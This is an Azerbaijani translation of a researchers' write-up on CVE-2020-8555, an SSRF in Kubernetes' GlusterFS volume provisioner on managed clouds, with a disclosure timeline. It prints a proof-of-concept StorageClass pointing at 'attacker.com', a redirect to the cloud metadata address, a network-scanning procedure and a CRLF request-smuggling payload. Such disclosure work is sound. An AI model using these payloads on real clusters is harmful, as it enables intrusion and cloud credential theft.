🥇Söhbət təkcə Kubernetesdəki zəiflikdən getmədikdə...

Qeyd. tərcümə.: bu məqalənin müəllifləri zəifliyi necə aşkar edə bildikləri barədə ətraflı danışırlar CVE-2020–8555 Kubernetesdə. Əvvəlcə çox təhlükəli görünməsə də, digər amillərlə birlikdə onun kritikliyi bəzi bulud provayderləri üçün maksimum oldu. Bir sıra təşkilatlar mütəxəssisləri əməyinə görə səxavətlə mükafatlandırdılar.

Biz kimik

Biz Kubernetes-də bir zəifliyi birlikdə kəşf edən iki fransız təhlükəsizlik tədqiqatçısıyıq. Adlarımız Brice Augras və Christophe Hauquiertdir, lakin bir çox Bug Bounty platformalarında biz müvafiq olaraq Reeverzax və Hach kimi tanınırıq:

Brice Augras - Groupe Asten şirkəti;
Christophe Hauquiert - Nokia-da Kubernetes memarı.

Nə oldu?

Bu məqalə, adi bir tədqiqat layihəsinin gözlənilmədən böcək ovçularının həyatında ən maraqlı macəraya çevrildiyini bölüşmək üsulumuzdur (ən azı indiyə qədər).

Yəqin ki, bildiyiniz kimi, səhv ovçuların bir neçə diqqətəlayiq xüsusiyyəti var:

pizza və pivə ilə yaşayırlar;
hamı yatanda işləyirlər.

Biz bu qaydalardan istisna deyilik: biz adətən həftə sonları görüşürük və yuxusuz gecələri hakerliklə keçiririk. Amma belə gecələrdən biri çox qeyri-adi şəkildə bitdi.

İlkin olaraq iştirakımızı müzakirə etmək üçün görüşəcəkdik CTF növbəti gün. İdarə olunan xidmət mühitində Kubernetes təhlükəsizliyi ilə bağlı söhbət zamanı köhnə SSRF fikrini xatırladıq (Server tərəfində sorğu saxtakarlığı) və ondan hücum skripti kimi istifadə etməyə qərar verdi.

Saat 11:XNUMX-da araşdırmalarımızı aparmaq üçün oturduq və nəticələrdən çox razı olaraq səhər tezdən yatmağa getdik. Məhz bu araşdırma sayəsində biz MSRC Bug Bounty proqramı ilə rastlaşdıq və imtiyazların artırılması istismarı ilə qarşılaşdıq.

Bir neçə həftə/ay keçdi və gözlənilməz nəticəmiz Kubernetesdən aldığımız mükafata əlavə olaraq Azure Cloud Bug Bounty tarixində ən yüksək mükafatlardan biri ilə nəticələndi!

Araşdırma layihəmizə əsasən, Kubernetes Məhsul Təhlükəsizliyi Komitəsi nəşr etdi CVE-2020–8555.

İndi tapılan zəiflik haqqında mümkün qədər məlumat yaymaq istərdim. Ümid edirik ki, tapıntını yüksək qiymətləndirirsiniz və texniki təfərrüatları infosec icmasının digər üzvləri ilə bölüşürsünüz!

Beləliklə, hekayəmiz budur ...

Kontekst

Baş verənləri daha yaxşı başa düşmək üçün gəlin əvvəlcə Kubernetesin buludla idarə olunan mühitdə necə işlədiyinə baxaq.

Belə bir mühitdə Kubernetes klasterini yaratdığınız zaman idarəetmə təbəqəsi adətən bulud provayderinin məsuliyyətidir:

Nəzarət təbəqəsi bulud provayderinin perimetrində, Kubernetes qovşaqları isə müştərinin perimetrində yerləşir.

Həcmləri dinamik şəkildə bölüşdürmək üçün onları xarici yaddaşın arxa hissəsindən dinamik şəkildə təmin etmək və onları PVC ilə müqayisə etmək üçün mexanizm istifadə olunur (davamlı həcm iddiası, yəni həcm üçün sorğu).

Beləliklə, PVC yaradıldıqdan və K8s klasterində StorageClass-a bağlandıqdan sonra həcmi təmin etmək üçün əlavə tədbirlər kube/bulud nəzarətçi meneceri tərəfindən həyata keçirilir (onun dəqiq adı buraxılışdan asılıdır). (Qeyd. tərcümə.: Biz artıq bulud provayderlərindən biri üçün onun tətbiqi nümunəsindən istifadə edərək CCM haqqında daha çox yazmışıq burada.)

Kubernetes tərəfindən dəstəklənən bir neçə növ təchizatçı var: onların əksəriyyəti daxil edilir orkestr nüvəsi, digərləri isə klasterdə podlara yerləşdirilən əlavə təminatçılar tərəfindən idarə olunur.

Tədqiqatımızda biz aşağıda təsvir olunan daxili həcm təminetmə mexanizminə diqqət yetirdik:

Daxili Kubernetes provayderindən istifadə edərək həcmlərin dinamik təmin edilməsi

Qısacası, Kubernetes idarə olunan mühitdə yerləşdirildikdə, nəzarətçi meneceri bulud provayderinin məsuliyyətidir, lakin həcm yaradılması sorğusu (yuxarıdakı diaqramda 3 nömrə) bulud provayderinin daxili şəbəkəsini tərk edir. Və burada işlər həqiqətən maraqlı olur!

Hack ssenarisi

Bu bölmədə yuxarıda qeyd olunan iş prosesindən necə yararlandığımızı və bulud xidməti təminatçısının daxili resurslarına necə daxil olduğumuzu izah edəcəyik. O, həmçinin daxili etimadnamələrin əldə edilməsi və ya imtiyazların artırılması kimi müəyyən hərəkətləri necə yerinə yetirə biləcəyinizi sizə göstərəcək.

Bir sadə manipulyasiya (bu halda, Xidmət Side Sorğu Saxtakarlığı) idarə olunan K8-lər altında müxtəlif xidmət təminatçılarının klasterlərinə müştəri mühitindən kənara çıxmağa kömək etdi.

Araşdırmamızda diqqətimizi GlusterFS provayderinə yönəltdik. Bu kontekstdə sonrakı hərəkətlər ardıcıllığının təsvir edilməsinə baxmayaraq, Quobyte, StorageOS və ScaleIO eyni zəifliyə həssasdır.

Dinamik həcm təminetmə mexanizmindən sui-istifadə

Saxlama sinifinin təhlili zamanı GlusterFS Golang müştəri mənbə kodunda biz qeyd etdihəcmin yaradılması zamanı göndərilən ilk HTTP sorğusunda (3) parametrdə fərdi URL-in sonuna qədər resturl əlavə edildi /volumes.

Əlavə edərək bu əlavə yoldan xilas olmaq qərarına gəldik # parametrə daxil olur resturl. Budur, yarı kor SSRF zəifliyini yoxlamaq üçün istifadə etdiyimiz ilk YAML konfiqurasiyası (məsələn, yarı kor və ya yarı kor SSRF haqqında daha çox oxuya bilərsiniz, burada - təqribən. tərcümə.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Sonra Kubernetes klasterini uzaqdan idarə etmək üçün binardan istifadə etdik kubectl. Tipik olaraq, bulud provayderləri (Azure, Google, AWS və s.) bu yardım proqramında istifadə üçün etimadnamələri əldə etməyə imkan verir.

Bunun sayəsində “xüsusi” faylımdan istifadə edə bildim. Kube-nəzarətçi-menecer nəticədə HTTP sorğusunu icra etdi:

kubectl create -f sc-poc.yaml

Təcavüzkarın nöqteyi-nəzərindən cavab

Bundan qısa müddət sonra biz də hədəf serverdən - əmrlər vasitəsilə HTTP cavabı ala bildik describe pvc və ya get events kubectl-də. Və həqiqətən də: bu standart Kubernetes sürücüsü xəbərdarlıqlarda/xəta mesajlarında çox ətraflıdır...

Burada linki olan bir nümunə var https://www.google.frparametr kimi təyin edin resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Bu yanaşmada biz kimi sorğularla məhdudlaşdıq HTTP POST və qaytarma kodu olsaydı, cavab orqanının məzmununu ala bilmədi 201. Ona görə də biz əlavə araşdırma aparmağa qərar verdik və bu hakerlik ssenarisini yeni yanaşmalarla genişləndirdik.

Araşdırmamızın təkamülü

Qabaqcıl Ssenari #1: Daxili məlumatların toplanması üçün daha çevik üsul təmin etmək üçün HTTP metodunu dəyişdirmək üçün xarici serverdən 302 yönləndirməsindən istifadə.
Qabaqcıl Ssenari #2: LAN taramasını və daxili resurs kəşfini avtomatlaşdırın.
Qabaqcıl ssenari №3: uyğunlaşdırılmış HTTP sorğuları yaratmaq və kube-nəzarətçi qeydlərindən çıxarılmış məlumatları əldə etmək üçün HTTP CRLF + qaçaqmalçılıqdan istifadə (“sorğu qaçaqmalçılığı”).

Texniki Spesifikasiyalar

Tədqiqat Şimali Avropa regionunda Kubernetes 1.12 versiyası ilə Azure Kubernetes Xidmətindən (AKS) istifadə etdi.
Yuxarıda təsvir olunan ssenarilər üçüncü ssenari istisna olmaqla, Kubernetes-in ən son buraxılışlarında icra edilmişdir, çünki ona Golang versiyası ≤ 1.12 ilə qurulmuş Kubernetes lazım idi.
Təcavüzkarın xarici serveri - https://attacker.com.

Qabaqcıl Ssenari #1: HTTP POST sorğusunun GET-ə yönləndirilməsi və həssas məlumatların qəbulu

Orijinal metod geri qayıtmaq üçün təcavüzkarın serverinin konfiqurasiyası ilə təkmilləşdirilmişdir 302 HTTP yenidən koduPOST sorğusunu GET sorğusuna çevirmək üçün (diaqramda 4-cü addım):

Müştəridən gələn ilk sorğu (3). GlusterFS (Controller Manager), POST növünə malikdir. Bu addımları yerinə yetirməklə biz onu GET-ə çevirə bildik:

Parametr kimi resturl StorageClass-da göstərilir http://attacker.com/redirect.php.
Son nöqtə https://attacker.com/redirect.php aşağıdakı Məkan Başlığı ilə 302 HTTP status kodu ilə cavab verir: http://169.254.169.254. Bu hər hansı digər daxili resurs ola bilər - bu halda yönləndirmə bağlantısı yalnız nümunə kimi istifadə olunur.
Qiyabi net/http kitabxanası Golanq sorğunu yönləndirir və POST-u 302 status kodu ilə GET-ə çevirir, nəticədə hədəf resurs üçün HTTP GET sorğusu yaranır.

HTTP cavab orqanını oxumaq üçün bunu etməlisiniz describe PVC obyekti:

kubectl describe pvc xxx

Budur, qəbul edə bildiyimiz JSON formatında HTTP cavabının nümunəsi:

O dövrdə aşkar edilmiş zəifliyin imkanları aşağıdakı məqamlara görə məhdud idi:

HTTP başlıqlarını gedən sorğuya daxil etmək mümkün deyil.
Bədəndəki parametrlərlə POST sorğusunu yerinə yetirmək mümkün deyil (bu, işləyən etcd nümunəsindən əsas dəyəri tələb etmək üçün əlverişlidir. 2379 Şifrələnməmiş HTTP istifadə edildikdə port).
Status kodu 200 olduqda və cavabda JSON Məzmun Növü olmadıqda cavab əsas məzmununu əldə etmək mümkün deyil.

Qabaqcıl ssenari №2: Yerli şəbəkənin skan edilməsi

Bu yarı kor SSRF metodu daha sonra bulud provayderinin daxili şəbəkəsini skan etmək və cavablar əsasında müxtəlif dinləmə xidmətlərini (Metadata nümunəsi, Kubelet və s.) sorğulamaq üçün istifadə edilmişdir. kub nəzarətçi.

Əvvəlcə Kubernetes komponentlərinin standart dinləmə portları müəyyən edildi (8443, 10250, 10251 və s.), sonra skan prosesini avtomatlaşdırmalı olduq.

Resursların skan edilməsinin bu üsulunun çox spesifik olduğunu və klassik skanerlər və SSRF alətləri ilə uyğun gəlmədiyini görən biz bütün prosesi avtomatlaşdıran bash skriptində öz işçilərimizi yaratmağa qərar verdik.

Məsələn, daxili şəbəkənin 172.16.0.0/12 diapazonunu tez bir zamanda skan etmək üçün paralel olaraq 15 işçi işə salınıb. Yuxarıdakı IP diapazonu yalnız nümunə kimi seçilmişdir və xüsusi xidmət provayderinizin IP diapazonuna dəyişdirilə bilər.

Bir IP ünvanını və bir portu skan etmək üçün aşağıdakıları etməlisiniz:

son yoxlanılmış StorageClass-ı silin;
əvvəlki təsdiqlənmiş Davamlı Həcm İddiasını silin;
IP və Port dəyərlərini dəyişdirin sc.yaml;
yeni IP və port ilə StorageClass yaratmaq;
yeni bir PVC yaratmaq;
PVC üçün təsviri istifadə edərək skan nəticələrini çıxarın.

Qabaqcıl ssenari №3: CRLF inyeksiyası + Kubernetes klasterinin “köhnə” versiyalarında HTTP qaçaqmalçılığı

Bundan əlavə, provayder müştərilərə K8s klasterinin köhnə versiyalarını təklif etdi и onlara kube-nəzarətçi-menecerin qeydlərinə giriş imkanı verdi, effekt daha da əhəmiyyətli oldu.

Təcavüzkarın öz mülahizəsinə uyğun olaraq tam HTTP cavabı əldə etmək üçün nəzərdə tutulmuş HTTP sorğularını dəyişməsi həqiqətən də daha rahatdır.

Son ssenarini həyata keçirmək üçün aşağıdakı şərtlər yerinə yetirilməli idi:

İstifadəçinin kube-nəzarətçi-menecer qeydlərinə girişi olmalıdır (məsələn, Azure LogInsights-da olduğu kimi).
Kubernetes klasteri Golang-ın 1.12-dən aşağı versiyasından istifadə etməlidir.

Biz GlusterFS Go müştərisi ilə saxta hədəf server arasında əlaqəni simulyasiya edən yerli mühit tətbiq etdik (hələlik PoC-ni dərc etməkdən çəkinəcəyik).

Tapıldı zəiflik, 1.12-dən aşağı olan Golang versiyalarına təsir edən və hakerlərə HTTP qaçaqmalçılığı/CRLF hücumlarını həyata keçirməyə imkan verir.

Yuxarıda təsvir edilən yarı kor SSRF-ni birləşdirərək вместе Bununla, kube-nəzarətçi-menecerinin emal etdiyi başlıqları, HTTP metodunu, parametrləri və məlumatları dəyişdirmək də daxil olmaqla, bəyəndiyimiz sorğular göndərə bildik.

Budur parametrdə işləyən "yem" nümunəsi resturl Oxşar hücum ssenarisini həyata keçirən StorageClass:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Nəticə xətadır istənməyən cavab, nəzarətçi qeydlərində qeyd olunan bir mesaj. Defolt olaraq aktivləşdirilmiş ətraflı məlumat sayəsində HTTP cavab mesajının məzmunu da orada saxlanılır.

Bu, konsepsiyanın sübutu çərçivəsində bizim ən təsirli “yemimiz” idi.

Bu yanaşmadan istifadə edərək, biz müxtəlif idarə olunan k8s provayderlərinin klasterlərinə aşağıdakı hücumlardan bəzilərini həyata keçirə bildik: metadata nümunələrində etimadnamə ilə imtiyazların artırılması, və s. master instansiyalarında (şifrlənməmiş) HTTP sorğuları vasitəsilə Master DoS və s.

Nəticələr

Aşkar etdiyimiz SSRF zəifliyi ilə bağlı Kubernetes rəsmi bəyanatında o, qiymətləndirilib CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Yalnız Kubernetes perimetri ilə əlaqəli zəifliyi nəzərə alsaq, bütövlük vektoru (bütövlük vektoru) kimi səciyyələndirir heç kim.

Bununla belə, idarə olunan xidmət mühiti kontekstində mümkün nəticələrin qiymətləndirilməsi (və bu, tədqiqatımızın ən maraqlı hissəsi idi!) bizi zəifliyi reytinqə yenidən təsnifləşdirməyə sövq etdi. Kritik CVSS10/10 bir çox distribyutor üçün.

Bulud mühitlərində potensial təsirləri qiymətləndirərkən mülahizələrimizi başa düşməyinizə kömək edəcək əlavə məlumat aşağıda verilmişdir:

Dürüstlük

Əldə edilmiş daxili etimadnamələrdən istifadə edərək əmrləri uzaqdan yerinə yetirin.
Yerli şəbəkədə tapılan digər resurslarla IDOR (Təhlükəsiz Birbaşa Obyekt Referansı) metodundan istifadə edərək yuxarıdakı ssenarinin təkrar istehsalı.

Gizlilik

Hücum növü Yanal Hərəkat bulud etimadnamələrinin oğurlanması sayəsində (məsələn, metadata API).
Yerli şəbəkəni skan etməklə məlumat toplamaq (SSH versiyasını, HTTP server versiyasını təyin etmək, ...).
Metadata API kimi daxili API-ləri sorğulayaraq nümunə və infrastruktur məlumatlarını toplayın (http://169.254.169.254, ...).
Bulud etimadnaməsini istifadə edərək müştəri məlumatlarının oğurlanması.

Mövcudluq

Hücum vektorları ilə əlaqəli bütün istismar ssenariləri bütövlük, dağıdıcı hərəkətlər üçün istifadə edilə bilər və müştəri perimetrindən (və ya hər hansı digər) əsas nümunələrin əlçatmaz olmasına gətirib çıxara bilər.

Biz idarə olunan K8 mühitində olduğumuzdan və dürüstlüyə təsirini qiymətləndirdiyimiz üçün əlçatanlığa təsir edə biləcək bir çox ssenarini təsəvvür edə bilərik. Əlavə nümunələrə etcd verilənlər bazasını korlamaq və ya Kubernetes API-yə kritik zəng etmək daxildir.

Timeline

6 dekabr 2019-cu il: Zəiflik MSRC Bug Bounty-ə bildirildi.
3 yanvar 2020-ci il: Üçüncü tərəf Kubernetes tərtibatçılarına təhlükəsizlik məsələsi üzərində işlədiyimizi bildirdi. Və onlardan SSRF-ni daxili (əsas) zəiflik kimi nəzərdən keçirmələrini istədi. Daha sonra problemin mənbəyi ilə bağlı texniki təfərrüatlar ilə ümumi hesabat təqdim etdik.
15 yanvar 2020-ci il: Biz Kubernetes tərtibatçılarına onların tələbi əsasında texniki və ümumi hesabatlar təqdim etdik (HackerOne platforması vasitəsilə).
15 yanvar 2020-ci il: Kubernetes tərtibatçıları bizə keçmiş buraxılışlar üçün yarı kor SSRF + CRLF inyeksiyasının əsas zəiflik hesab edildiyini bildirdilər. Biz dərhal digər xidmət təminatçılarının perimetrlərini təhlil etməyi dayandırdıq: K8s komandası indi əsas səbəblə məşğul idi.
15 yanvar 2020: MSRC mükafatı HackerOne vasitəsilə alındı.
16 yanvar 2020-ci il: Kubernetes PSC (Məhsul Təhlükəsizliyi Komitəsi) zəifliyi tanıdı və potensial qurbanların çoxluğuna görə onu martın ortalarına qədər gizli saxlamağı xahiş etdi.
11 fevral 2020: Google VRP mükafatı alındı.
4 mart 2020: Kubernetes mükafatı HackerOne vasitəsilə alındı.
15 mart 2020-ci il: Əvvəlcə planlaşdırılan ictimaiyyətə açıqlama COVID-19 vəziyyətinə görə təxirə salındı.
1 iyun 2020-ci il: Kubernetes + Microsoft zəiflik haqqında birgə bəyanat.

TL; DR

Pivə içirik, pizza yeyirik :)
Kubernetes-də əsas zəifliyi aşkar etdik, baxmayaraq ki, bunu etmək niyyətimiz yox idi.
Biz müxtəlif bulud provayderlərinin klasterləri üzrə əlavə təhlillər apardıq və əlavə zəhmli bonuslar almaq üçün zəifliyin vurduğu zərəri artıra bildik.
Bu məqalədə bir çox texniki detallar tapa bilərsiniz. Onları sizinlə müzakirə etməkdən məmnun olarıq (Twitter: @ReeverZax & @__hach_).
Məlum oldu ki, hər cür rəsmiyyətlər və hesabatlar gözlənildiyindən xeyli uzun çəkdi.

References

Tərcüməçidən PS

Bloqumuzda da oxuyun:

Mənbə: www.habr.com

Söhbət təkcə Kubernetes zəifliklərindən getmədikdə...